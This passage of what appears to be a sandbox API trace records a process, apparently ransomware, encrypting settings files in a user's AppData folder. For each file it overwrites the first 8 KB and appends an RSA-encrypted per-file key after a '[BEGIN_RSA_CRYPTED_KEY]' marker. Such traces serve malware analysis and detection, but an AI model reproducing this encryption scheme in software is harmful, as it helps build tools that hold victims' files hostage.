pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qrBhjnk+oH/Pk1atX67U2EbdciX6XlKxYva3hEfNFh7reXxI5UzNfbJalHg9v7XF\nlQXNiWKphMPPNfbh6sKHuRL65ZChHCo2IBZX3e6bH3prnOuM/Tfp2toJpZK7fh7d\nVakxbWjeZElQL2f2SsmsVbmRqDzxFoZbcnDOmSEOxsQaUZFDch1Nzrn8zROqd35C\npAgi0slHqcbMiHSu6C4+5qpDh8SADtjseDbMqosiLLSkUElsoi0063zqPceLutAA\ng0Tcg2M2afCmAsKS0kNsRph9IvadkBmNUxUPF8zh9w6rwZbPerLAsT4LaWl9Mzzz\nIDQhs9cembWbk7JI3SQtJQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.578] WriteFile (in: hFile=0xec0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.579] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.579] WriteFile (in: hFile=0xec0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.579] CloseHandle (hObject=0xec0) returned 1 [0198.588] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.588] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.589] ReadFile (in: hFile=0xec0, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.601] SetFilePointer (in: hFile=0xec0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.601] WriteFile (in: hFile=0xec0, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.602] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.602] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.602] WriteFile (in: hFile=0xec0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.602] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.603] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mYvdEkPM1pMx+WhjG4hR8gi0NsMOxwWtdoiv05yNhGaftPTEnMd/N2lZtS5Cewc7\nBadn76K+P3wa9fgc7T1HzzpDlKAdghrAV6zdriExYQeMeilD1j/mSN3O4HSH+wUh\n+79iZ5lSUcVsCK/5SIXaJup1Ee5SX7nd1xz/bfmLM61rvTgdAHDe/FdNgRkXPRUa\nwh4J3PhU5NTmdVsufALiGIcMigaceUtn0kBTNiNpCnd5CYPQ5CSKYleMOfBOndER\nyxz+NXd6l+GPVT9zehr6X+T+AEadn87OPvWdyB0f/yRE5TJzWkWG0/aN8kHW4C7E\ndYHtrdY8Yhf05ArNiJ8vcQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.603] WriteFile (in: hFile=0xec0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.603] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.603] WriteFile (in: hFile=0xec0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.603] CloseHandle (hObject=0xec0) returned 1 [0198.605] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.605] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.606] ReadFile (in: hFile=0xec0, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.608] SetFilePointer (in: hFile=0xec0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] WriteFile (in: hFile=0xec0, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.608] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.608] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.608] WriteFile (in: hFile=0xec0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.609] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.609] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DUqLVry+dswKU9xgaO/ncOsujTU/6XhplwxasBGbIDLOxhO/Uf2HzymWXygsUVY1\ncLgx9l0eyRX3YX/y7NxuJlWMNhJ4NcZI83lKVR+ClaMoxSscFMDobaPj4fMhX+fb\nHpU+dnOwg5PGnv/mvm0sE6mCEjmMXYfCuYz/h3r87o/0K/AZHQq3NziYSoEKSVMy\n5+AttM65x8y6xFh2pk7LHeDpQBs93RUPcHzvemhaFnpigJzZAxS8awVdoH38Yz5q\nVXQSSF+nE9Fod14N8cbXfwcgE1ejH57DoMyeYncEfIZZj/6ylZehYXsbtkUL1Sqh\nOjrHwhMEqXH5Oqr0DJvBaA==\n", pcchString=0x2e3f9a8) returned 1 [0198.609] WriteFile (in: hFile=0xec0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.609] WriteFile (in: hFile=0xec0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.610] CloseHandle (hObject=0xec0) returned 1 [0198.611] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.611] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.611] ReadFile (in: hFile=0xec0, lpBuffer=0x59d240, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.611] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.612] WriteFile (in: hFile=0xec0, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.612] SetFilePointer (in: hFile=0xec0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.612] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.612] WriteFile (in: hFile=0xec0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Owj4yhU18Jooo2HvI6tu3pVgEJK2H7QGMVNHVWxXaeYVTJVFmNgruW0SPwJ/kZ5X\nktK65bKTZkHfzD0hqiaK6DrVajBGuqBZ1mfsuq/lPncVbpy5/CL5hHlKEzuexkKe\nQjqZjQGV+67rSBbbv/d/+QdOnMMNyUEoArXfaIkp9Af2KqE/4OSoRTqG1zFVVqfO\nyZrzIXjmrv2kQ58Bl4iwfc1er4Ik6r4gB1b3W6nnjtiR4rNC1oxV/TNFJQJVXqNv\nAW8k0Bfbh/s2HT6dmfX8lmcFPlJTJI+AF/sMYn61nTt95Aw3TC6Ljp9zVu2ih5vz\nmRoNZFAZ2kXGIApPKiIXhg==\n", pcchString=0x2e3f9a8) returned 1 [0198.614] WriteFile (in: hFile=0xec0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.614] WriteFile (in: hFile=0xec0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.614] CloseHandle (hObject=0xec0) returned 1 [0198.617] WriteFile (in: hFile=0xec8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.618] CloseHandle (hObject=0xec8) returned 1 [0198.619] WriteFile (in: hFile=0xec8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.620] CloseHandle (hObject=0xec8) returned 1 [0198.620] WriteFile (in: hFile=0xec8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.622] CloseHandle (hObject=0xec8) returned 1 [0198.622] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.622] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.623] ReadFile (in: hFile=0xedc, lpBuffer=0x59d1a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.623] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.623] WriteFile (in: hFile=0xedc, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.623] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.623] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.623] WriteFile (in: hFile=0xedc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.625] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.625] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ol9ce76jyI1dwlPrrQXbfOh6dWN11wSbCTcH422CNs3VkWPlsvx+mVWYb5aMEi+3\n60qaotMAVWV52VnMcH+6IKLShWM7E5s7uBsSOMLcDCAq8cyKTfRIZ4Lfpyi5KcHq\nw6zQB+BBaC17vCJYqGTF12blCuXfKiQaZAMEvi3q/GDfWUiIGMbRyqC2JiaQv4+6\n2tcGx6HrOBQI3GPr4GjY4A6ZMArDIbDIJd2CXFYF20VZ3LfqWAFgBm+6fFSLf5i1\nQ/leaeVjwN43LOm5Pt16MhiJ6bVWBzUuPkIzcyhpK3LBSUX+CDye/Ao4Zw3iJ5CS\nWuV/5gygqPZgKrBOL1nsQQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.625] WriteFile (in: hFile=0xedc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.625] WriteFile (in: hFile=0xedc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.626] CloseHandle (hObject=0xedc) returned 1 [0198.628] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.628] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.628] ReadFile (in: hFile=0xedc, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.629] SetFilePointer (in: hFile=0xedc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.630] WriteFile (in: hFile=0xedc, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.630] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.630] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.630] WriteFile (in: hFile=0xedc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.631] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.631] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.631] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.631] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="taJfnPwN/uvXU9BGmpSasmwodcr2j11XChoMF39it+837hBos4IXTpnN/+5y/uDq\nadm+jGhWPtQbxHvr1FMeY+/thez0atCQquNIOIE7OFm+lGlI8ub9ox9bTbQ7bNeM\nygrwO+Ui2rRHnaGfr1V1ly1NNW6ltEp9Xsj0hhJ9O8tfE9D/jhgeh6VSbl+NuVEy\nTcry8McNGe4/Rk0RgqKP+wShQlftsZCz3p2030Ew7W+atEHUwmt/ekQqnh1B+r0l\nGNV92ZsfoqocYq9irbikn9vHHY2I6YVxnE4c6gSoj2IraW5rJ6SUXn/lluNt6bei\nX4/Sllx3xAtvWpP+2SPNLQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.631] WriteFile (in: hFile=0xedc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.631] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.631] WriteFile (in: hFile=0xedc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.632] CloseHandle (hObject=0xedc) returned 1 [0198.647] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.647] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.648] ReadFile (in: hFile=0xedc, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.650] SetFilePointer (in: hFile=0xedc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.650] WriteFile (in: hFile=0xedc, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.650] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.651] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.651] WriteFile (in: hFile=0xedc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.651] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.651] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.651] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.651] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h1vAtzLnM7seBIEEvKMDDMvc+Da4VjrpwB5d2sb7cFcq7DToOBeXq1QQrX0SkAzi\nUh1tURJ8+T7gfYc9nzQqlfRnnvaEEZ6AoO4vSEuEOTKgIig67E3P5f31uQ2KYaL9\n/lrCn/eTvahSAEb6v2zg1N1JxXETPEC3Sl6jBHxzSjMgOnM8SeYh8nItYGJ/W21N\n6MVYdIyrM8LkREWU27DQPUPv8NkFZvxYv5snovvWCQipAuePu/Tc1FwiW17R1y9F\nS72xXh+BktspbKyfgEOq2EAab1P00UNDpBFbczzcl2XTy/IEbaTPklyreON0hktc\npmyvI+nc0UrwLVtdzEG4XA==\n", pcchString=0x2e3f9a8) returned 1 [0198.651] WriteFile (in: hFile=0xedc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.652] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.652] WriteFile (in: hFile=0xedc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.652] CloseHandle (hObject=0xedc) returned 1 [0198.654] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.654] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.654] ReadFile (in: hFile=0xedc, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.654] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.654] WriteFile (in: hFile=0xedc, lpBuffer=0x59d2c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.654] SetFilePointer (in: hFile=0xedc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) 